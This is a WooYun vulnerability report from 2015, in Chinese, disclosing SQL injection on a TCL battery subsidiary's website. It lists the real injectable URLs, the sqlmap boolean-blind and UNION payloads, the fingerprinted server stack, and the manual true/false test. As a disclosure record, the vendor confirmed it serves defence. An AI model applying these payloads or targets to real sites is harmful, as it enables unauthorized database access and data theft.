当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101257

漏洞标题：TCL某分站存在SQL注入

相关厂商：TCL集团财务有限公司

漏洞作者： ucifer

提交时间：2015-03-16 16:38

修复时间：2015-05-01 14:58

公开时间：2015-05-01 14:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-16： 细节已通知厂商并且等待厂商处理中
2015-03-17： 厂商已经确认，细节仅向厂商公开
2015-03-27： 细节向核心白帽子及相关领域专家公开
2015-04-06： 细节向普通白帽子公开
2015-04-16： 细节向实习白帽子公开
2015-05-01： 细节向公众公开

简要描述：

惠州TCL金能电池有限公司站点有SQL注入漏洞，包含多个历史遗留问题...

详细说明：

注入点: http://battery.tcl.com/join.php?id=38

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=38 AND 9025=9025
    Type: UNION query
    Title: MySQL UNION query (NULL) - 12 columns
    Payload: id=-4443 UNION ALL SELECT NULL,CONCAT(0x71767a6a71,0x72764c576d5442616941,0x7161617771),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[23:00:29] [INFO] testing MySQL
[23:00:30] [INFO] confirming MySQL
[23:00:33] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 4.3.4
back-end DBMS: MySQL < 5.0.0


QQ截图20150313234016.png


下面这些链接也存在注入

http://battery.tcl.com/read_news.php?id=52
http://battery.tcl.com/news_hy.php?offset=0
http://battery.tcl.com/read_products.php?smname=%E7%A7%BB%E5%8A%A8%E7%94%B5%E6%BA%90%E7%B3%BB%E5%88%97
http://battery.tcl.com/news_gs.php?offset=0


这几处都属于历史遗留的问题

QQ截图20150313235219.png


后面加单引号还是会报错
and 1=1 页面正常
and 1=2 页面不正常

漏洞证明：

已证明

修复方案：

过滤

版权声明：转载请注明来源 ucifer@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-03-17 14:56

厂商回复：

非常感谢您提交的资料，将会转交相应部门处理

最新状态：

暂无